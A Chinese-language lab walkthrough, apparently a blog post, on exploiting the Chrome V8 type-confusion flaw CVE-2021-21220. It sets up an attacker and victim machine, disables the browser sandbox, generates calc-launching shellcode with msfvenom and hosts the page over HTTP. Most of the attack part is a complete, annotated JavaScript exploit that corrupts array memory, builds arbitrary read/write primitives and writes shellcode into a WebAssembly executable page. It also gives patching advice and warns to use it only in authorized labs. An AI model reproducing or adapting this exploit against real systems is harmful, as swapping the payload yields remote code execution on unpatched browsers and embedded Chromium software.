目录
一、chrome代码执行漏洞(CVE-2021-21220)
本文详细分析了Chrome浏览器V8引擎的CVE-2021-21220漏洞原理与利用方法。该漏洞源于TurboFan JIT编译器在64位平台上对整数操作的类型推断错误,可导致远程代码执行。实验通过搭建攻击环境(Kali攻击机与Windows靶机),生成包含Shellcode的恶意HTML文件,利用漏洞实现计算器弹出。关键步骤包括:靶机断网安装旧版Chrome、关闭沙箱模式、生成PoC、开启HTTP服务及最终触发漏洞。整个过程演示了如何利用类型混淆漏洞突破浏览器安全机制,强调了及时更新浏览器的重要性。
| 角色 | IP 地址 | 核心配置 & 作用 |
|---|---|---|
| 攻击机 | 192.168.59.141 | 1. 构造 CVE-2021-21220 漏洞的恶意 Payload 2. 网络可达靶机(同网段) |
| 靶机 | 192.168.59.146 | 1. 安装存在 CVE-2021-21220 漏洞的 Chrome 浏览器版本 2. 关闭浏览器安全更新(防止漏洞被修复,断网即可实现) 3. 确保浏览器允许访问攻击机提供的恶意资源 |
一、chrome代码执行漏洞(CVE-2021-21220)
CVE-2021-21220漏洞产生的原因是Chrome的V8引擎JIT模块在 ChangeInt32ToInt64 函数的输入值一定会被看作一个 int32 的值来处理,就会进行有符号扩展,进而发生下溢,以此可以利用来修改一些东西,比如分配的数组的长度,这样就可以越界访问其他内存的数据,进而达到任意地址写的目的,漏洞的详细信息如下所示。
| 项目 | 详细说明 |
|---|---|
| CVE编号 | CVE-2021-21220 |
| 漏洞名称 | Chrome V8引擎类型混淆漏洞 |
| 发布时间 | 2021年4月13日 |
| 威胁等级 | 高危 |
| 漏洞类型 | 远程代码执行 |
| 受影响组件 | V8 JavaScript引擎的TurboFan JIT编译器 |
| 根本原因 | 在64位平台上,TurboFan优化时对某些整数操作(特别是异或)的类型推断存在错误,导致后续生成的机器码将一个有符号32位整数错误地当作无符号数处理,引发类型混淆,破坏了内存安全。 |
| 主要影响 | 在浏览器上下文中执行任意代码,结合其他漏洞可能完全控制用户的操作系统。 |
| 影响范围 | 1. Google Chrome:89.0.4389.128 之前的版本 2. Microsoft Edge:基于Chromium的版本同样受影响 3. 其他软件:任何内嵌了受影响版本V8引擎的应用程序(例如,2021年4月前的某些版本微信PC客户端)。 |
| 修复版本 | Google Chrome 90.0.4430.72 及以上版本 |
| 修复措施 | 1. 立即更新浏览器至最新版本。 2. 检查并更新所有使用Chromium内核的软件。 3. 切勿禁用沙盒:避免使用 --no-sandbox参数运行浏览器,以维持重要的安全边界。 |
| 利用情况 | 在漏洞修复前,已有在野利用(Exploited in the Wild)。 |
| 安全建议 | 由于此漏洞已被公开且有过利用,使用任何低于修复版本的软件都应被视为不安全。 |
二、实验拓扑
| 机器 | IP地址 | 核心任务与行动 |
|---|---|---|
| 攻击机 kali | 192.168.59.141 | 1. 生成PoC:使用 msfvenom 命令生成用于弹出计算器的Shellcode。2. 制作EXP:将Shellcode嵌入到利用CVE-2021-21220的JavaScript代码中,保存为 exp_calc.html。3. 启动服务:在攻击机开启一个HTTP服务(端口8888),托管该HTML文件。 |
| 靶机 Windows | 192.168.59.146 | 1. 运行漏洞环境:启动存在漏洞的Chrome浏览器(版本低于 90.0.4430.72)。 2. 触发漏洞:在浏览器中访问攻击链接 http://192.168.59.141:8888/exp_calc.html。3. 观察结果:成功触发后,系统计算器(calc.exe)将被弹出,证明远程代码执行成功。 |
三、靶机环境搭建
1、确保防火墙关闭

2、靶机断网安装chrome浏览器
版本:86.0.4240.75(64-bit),这里要特别注意安装和渗透的过程中不要联网,否则chrome浏览器的版本很快就会更新为最新没有此漏洞的版本,换言之就是靶机要断网才可以做这个实验,否则会实验失败。

这里最重要的一点就是靶机断网,特别重要,可以解决渗透失败的问题。
3、沙箱模式打开chrome浏览器
(1)环境准备
安装完成后桌面会生成一个快捷方式,可以右键打开所在文件夹,如下所示。

打开后效果如下所示,为chrome浏览器的安装绝对路径。

(2)使用无沙箱模式打开chrome浏览器
在此处使用chrome.exe --no-sandbox打开命令行并以无沙箱模式打开chrome浏览器
chrome.exe --no-sandbox

四、连通性测试
1、获取kali的ip地址
通过ip a s 或者ifconfig查看ip地址,以本机为例,网卡地址为192.168.59.141,此即为攻击机的ip地址。

2、靶机和攻击机连通性测试
攻击机的ip地址为192.168.59.141,靶机的ip地址为192.168.59.146,两者处于同一网段,逻辑上win和靶机是可以互相联通的,测试连通性没有问题。
- 仅在授权的测试环境中操作,禁止用于未授权的攻击;
- 靶机需关闭防护软件(如杀毒软件、防火墙),避免恶意 Payload 被拦截。
| 角色 | IP 地址 | 核心配置 & 作用 |
|---|---|---|
| 攻击机 | 192.168.59.141 | 1. 构造 CVE-2021-21220 漏洞的恶意 Payload 2. 网络可达靶机(同网段) |
| 靶机 | 192.168.59.146 | 1. 安装存在 CVE-2021-21220 漏洞的 Chrome 浏览器版本 2. 关闭浏览器安全更新(防止漏洞被修复,断网即可实现) 3. 确保浏览器允许访问攻击机提供的恶意资源 |
(1)靶机ping攻击机

(2)攻击机ping靶机

五、攻击机生成PoC
1、msfvenom生成计算器shell
在攻击机(kali)上生成windows64位的shellcode(功能:打开计算器),
msfvenom -a x64 -p windows/x64/exec CMD="calc" EXITFUNC=thread -f num
这条 msfvenom 命令的作用是生成一段能在64位Windows系统上执行“打开计算器”操作的机器码(Shellcode)。下面是详细的参数解析,如下所示。
| 参数 | 含义与作用 | 在本命令中的具体值 |
|---|---|---|
-a x64 | 指定目标架构。 | x64,即生成针对64位(x64) 系统的Shellcode。 |
-p windows/x64/exec | 指定使用的攻击载荷。 | windows/x64/exec,这是一个用于在Windows x64系统上执行任意命令的载荷。 |
CMD="calc" | 为exec载荷指定要运行的命令。 | "calc",即运行Windows系统自带的计算器程序(calc.exe)。这是漏洞验证中最常见的无害命令。 |
EXITFUNC=thread | 指定载荷结束后的退出方式。 | thread,表示以结束当前线程的方式退出。这能使Shellcode执行后更稳定地退出,不易引起进程崩溃。 |
-f num | 指定输出格式。 | num,表示将Shellcode以纯数字字节码(如 0xfc, 0x48, 0x83...)的形式输出。这种格式便于直接复制粘贴到C、Python或JavaScript等语言的漏洞利用代码数组中。 |
2、修改计算器恶意PoC html
复制生成的shellcode并粘贴到exp中相应位置并保存为 exp_calc.html,如下所示。这个HTML文件内部嵌入了利用CVE-2021-21220漏洞的JavaScript代码和能弹出计算器的Shellcode。

3、计算器恶意PoC分析
对修改后的PoC进行详细讲解,具体逻辑如下所示。
-
漏洞触发:利用JIT类型混淆,制造一个内存结构异常的数组 (
corrput_arr)。 -
内存破坏:通过异常数组越界修改相邻正常数组 (
rwarr) 的内部指针。 -
构建武器:将
rwarr改造成一个可以读写任意内存地址的“万能工具”。 -
信息泄露:利用万能工具读取关键对象 (
wasmInstance) 在内存中的地址,绕过ASLR。 -
定位战场:找到WebAssembly提供的、宝贵的可读可写可执行(RWX) 内存页。
-
植入载荷:将Shellcode写入RWX内存页。
-
夺取控制:调用已被“偷梁换柱”的WASM函数,执行Shellcode,最终突破浏览器沙盒,在操作系统层面执行任意命令。
这段JavaScript代码是一个利用Chrome V8引擎漏洞(CVE-2021-21220)的攻击脚本。它首先触发JIT编译器的类型混淆错误,制造一个可越界读写内存的畸形数组。随后利用该数组篡改相邻内存,构建出强大的任意地址读写能力,进而泄露WebAssembly实例地址并定位其拥有的可执行内存页。最终,脚本将能弹出计算器的机器码(Shellcode)写入该内存页并执行,从而在受害者系统上实现远程代码执行,完全突破浏览器安全沙盒,完整注释后的代码如下所示。
<script>
// ==================== 第一部分:环境准备与辅助函数 ====================
// 强制触发垃圾回收(Garbage Collection),用于稳定堆布局。
// 通过创建大量可回收对象,促使V8引擎进行完整的垃圾回收。
function gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer(); // 创建临时ArrayBuffer,gc时会释放
}
}
// 攻击载荷(Shellcode):用于在目标系统上弹出计算器(calc.exe)的机器码。
// 这是通过 `msfvenom -a x64 -p windows/x64/exec CMD=calc EXITFUNC=thread -f num` 生成的。
let shellcode = [0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x00];
// 创建一个最小的WebAssembly模块代码。
// WASM模块会申请一块“可读、可写、可执行(RWX)”的内存页,这是执行Shellcode的关键。
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode); // 编译模块
var wasmInstance = new WebAssembly.Instance(wasmModule); // 实例化模块
var main = wasmInstance.exports.main; // 获取导出函数,后续将劫持其代码
// ==================== 第二部分:浮点数与整数的内存转换工具 ====================
// 利用ArrayBuffer和DataView在同一个内存位置进行不同数据类型的读写。
// 这是实现类型混淆和精确内存操作的基础。
var bf = new ArrayBuffer(8); // 8字节缓冲区,用于模拟64位存储
var bfView = new DataView(bf); // DataView提供对缓冲区底层字节的精确访问
// 获取64位双精度浮点数(Float64)低32位(Uint32)
function fLow(f) {
bfView.setFloat64(0, f, true); // 将浮点数f以小端序写入缓冲区
return (bfView.getUint32(0, true)); // 读取低4字节(即低32位)作为无符号整数返回
}
// 获取64位双精度浮点数(Float64)高32位(Uint32)
function fHi(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(4, true)) // 读取高4字节(即高32位)
}
// 将两个32位整数(低、高)组合成一个64位浮点数
function i2f(low, hi) {
bfView.setUint32(0, low, true); // 写入低32位
bfView.setUint32(4, hi, true); // 写入高32位
return bfView.getFloat64(0, true); // 将整个8字节作为浮点数读出
}
// 将64位浮点数转换为64位大整数(BigInt),用于地址计算
function f2big(f) {
bfView.setFloat64(0, f, true);
return bfView.getBigUint64(0, true);
}
// 将64位大整数(BigInt)转换为64位浮点数
function big2f(b) {
bfView.setBigUint64(0, b, true);
return bfView.getFloat64(0, true);
}
// ==================== 第三部分:漏洞触发与堆风水布局 ====================
// 自定义ArrayBuffer子类,添加一个独特属性 `slot`。
// 目的:在内存中创建一个易于识别的“标记对象”,便于后续通过内存扫描泄露其地址。
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xb33f; // 魔法数字,作为对象标识
}
}
// 这是触发CVE-2021-21220漏洞的核心函数。
// 漏洞点:TurboFan JIT编译器错误优化了变量`x`的类型,导致后续数组长度计算错误。
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF; // 当a为true时,x应为无符号大整数0xFFFFFFFF
// 但JIT错误地将其当作有符号整数-1进行优化。
// Math.max(0, x, -1) 在JIT优化下,错误地得出结果为-1。
// Math.sign(0 - (-1)) => Math.sign(1) => 1。
// 实际上,当x=0xFFFFFFFF时,Math.max结果应为0xFFFFFFFF,Math.sign结果应为0。
// 这个差异导致`arr`的长度被错误计算。
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
arr.shift(); // 对数组进行shift操作。如果arr长度本应为0,此操作会破坏数组的内部结构,
// 使其“长度”字段等元数据变为非法值,从而获得越界访问能力。
let local_arr = Array(2);
local_arr[0] = 5.1; // 存入一个浮点数,其内存表示在某些偏移处可能被解释为对象指针
let buff = new LeakArrayBuffer(0x1000); // 创建标记对象,将成为攻击目标
arr[0] = 0x1122; // 一个初始值,可能用于后续验证内存是否被破坏
return [arr, local_arr, buff]; // 返回三个对象,它们在内存中很可能相邻
}
// “热身”循环:诱导JIT编译器编译并优化`foo`函数。
for (var i = 0; i < 0x10000; ++i)
foo(false);
// 进行垃圾回收,稳定堆内存状态,确保后续对象布局可预测。
gc(); gc();
// 关键调用:传入true触发漏洞路径,得到三个内部已损坏或可被操控的对象。
// `corrput_arr`: 已损坏的、可越界读写的数组。
// `rwarr`: 正常的数组,但其内存将被`corrput_arr`越界修改。
// `corrupt_buff`: 标记对象,其地址将被泄露。
[corrput_arr, rwarr, corrupt_buff] = foo(true);
// 通过越界写,修改`corrput_arr`范围外的某个内存位置。
// 偏移量12是经过调试得出的,目的是破坏`rwarr`或`corrupt_buff`的某个关键内部指针(如元素指针或backing store指针)。
corrput_arr[12] = 0x22444;
// 删除对损坏数组的引用,便于垃圾回收,也可能影响堆布局。
delete corrput_arr;
// ==================== 第四部分:构建任意内存读写原语 ====================
// 通过修改`rwarr`的底层存储指针,使其指向任意地址。
// `rwarr`是一个JS数组,其元素实际存储在一片连续的堆内存(称为“Backing Store”)中。
// 此函数通过修改指向这片内存的指针(分为高、低32位),实现将`rwarr`重定向到任意地址。
function setbackingStore(hi, low) {
// rwarr[4]和rwarr[5]被精心设计为对应着其Backing Store指针的高低32位。
// i2f(fLow(rwarr[4]), hi): 保持rwarr[4]的低32位不变,将其高32位替换为参数hi。
rwarr[4] = i2f(fLow(rwarr[4]), hi);
// i2f(low, fHi(rwarr[5])): 保持rwarr[5]的高32位不变,将其低32位替换为参数low。
rwarr[5] = i2f(low, fHi(rwarr[5]));
// 操作完成后,rwarr的数据操作将发生在(hi << 32 | low)这个指定的内存地址。
}
// 利用已控制的`rwarr`来泄露一个JavaScript对象的地址(低32位)。
function leakObjLow(o) {
corrupt_buff.slot = o; // 将目标对象存储在标记对象的slot属性中。
// 在内存中,这个属性值(即对象指针)位于corrupt_buff对象头的附近。
// rwarr[9] 的偏移经过计算,对应`corrupt_buff.slot`属性值在内存中的位置。
// 读取它并减1。在V8中,对象指针通常最后一位是“标记位”(tag bit),为1表示指针,
// 减1后得到对象的真实地址低32位。
return (fLow(rwarr[9]) - 1);
}
// 创建一个DataView,它直接操作`corrupt_buff`(一个ArrayBuffer)的内存。
// 由于`rwarr`的指针可能已被修改指向`corrupt_buff`的头部,因此通过`corrupt_view`可以读写`corrupt_buff`的底层内存。
let corrupt_view = new DataView(corrupt_buff);
// 泄露`corrupt_buff`对象自身的地址(低32位)。这是计算其他一切地址的“锚点”。
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
// 计算`corrupt_buff`对象内部“外部指针数组”中第0项(idx0)的地址。
// 0x10是对象头大小到idx0的偏移(具体偏移因V8版本而异)。
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
// 计算V8堆内存的“基址”(一个内存页对齐的地址)。
// 1. `& 0xffff0000`:将地址对齐到64KB边界。
// 2. `% 0x40000`: 减去可能由于ASLR产生的随机偏移(256KB对齐)。
// 3. `+ 0x40000`:加上一个固定的页偏移,得到一个稳定的基址。
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
// 计算基址与idx0地址之间的字节差。
let delta = baseAddr + 0x1c - idx0Addr;
// 根据字节差计算在`rwarr`中对应的元素索引(因为rwarr每个元素是8字节)。
if ((delta % 8) == 0) {
let baseIdx = delta / 8;
this.base = fLow(rwarr[baseIdx]); // 从rwarr的该索引处读取值作为基址
} else {
let baseIdx = ((delta - (delta % 8)) / 8);
this.base = fHi(rwarr[baseIdx]); // 从相邻元素的高位读取
}
// 此时 this.base 保存了一个关键值,通常是一个与V8内置对象或函数相关的地址。
// ==================== 第五部分:定位WASM可执行内存并写入Shellcode ====================
// 泄露WebAssembly实例(wasmInstance)的地址(低32位)。
let wasmInsAddr = leakObjLow(wasmInstance);
// 关键操作:将`rwarr`的Backing Store指针重定向到`wasmInstance`对象所在的内存地址。
// 这样,通过`rwarr`读写就相当于直接读写`wasmInstance`对象的内存。
setbackingStore(wasmInsAddr, this.base);
// 从`wasmInstance`对象的内存布局中,读取其代码入口点(Code Entry Point)的地址。
// 偏移 13*8 是经过逆向得出的,指向`WasmInstanceObject`中指向可执行代码的指针。
let code_entry = corrupt_view.getFloat64(13 * 8, true);
// 再次重定向`rwarr`的Backing Store指针,这次直接指向WASM的可执行代码页(RWX内存)。
// `code_entry` 所指向的位置就是可以执行机器码的内存。
setbackingStore(fLow(code_entry), fHi(code_entry));
// 此时,`corrupt_view`(其底层Buffer是`corrupt_buff`)的操作,
// 因为之前的指针重定向,已经变成了对WASM RWX内存页的操作。
// 将Shellcode逐字节写入这块可执行内存。
for (let i = 0; i < shellcode.length; i++) {
corrupt_view.setUint8(i, shellcode[i]);
}
// ==================== 第六部分:执行Shellcode ====================
// 调用WASM的main函数。由于该函数的代码已被替换为我们的Shellcode,因此执行的是弹出计算器的指令。
main();
</script>
4、攻击机开启http服务
(1)将html 恶意poc所在的目录中打开命令行

(2)开启http服务
在 当前目录 快速启动一个 简易的HTTP文件服务器,命令如下所示。
python3 -m http.server 8888
| 命令部分 | 含义与作用 |
|---|---|
python3 | 调用 Python 3 解释器。 |
-m http.server | -m 表示运行一个内置模块。http.server 是 Python 标准库中的一个模块,专门用于创建简单的 HTTP 服务器。 |
8888 | 指定服务器监听的端口号。你可以将其替换为其他未被占用的端口(如 8000)。如果不指定,默认端口是 8000。 |

六、计算器渗透攻击
1、无沙箱模式访问攻击机网站
网站URL为攻击机的ip地址192.168.59.141:端口号8888,如下所示。
http://192.168.59.141:8888/
接下来向位于攻击机(IP为192.168.59.141)的简易HTTP服务器(运行在8888端口)发起请求,靶机访问链接的效果如下所示,其中exp_calc.html即为计算机的PoC。

2、无沙箱模式访问计算器PoC恶意html
打开攻击机的名为 exp_calc.html 的特定网页文件,该HTML文件内部嵌入了利用CVE-2021-21220漏洞的JavaScript代码和能弹出计算器的Shellcode,具体链接如下所示。
http://192.168.59.141:8888/exp_calc.html
当受害者访问此链接时,浏览器便会加载并执行其中的恶意代码,触发漏洞,最终实现在受害者电脑上远程执行“打开计算器”这一命令,从而完成一次概念验证攻击,如下所示渗透成功。


3071

被折叠的 条评论
为什么被折叠?



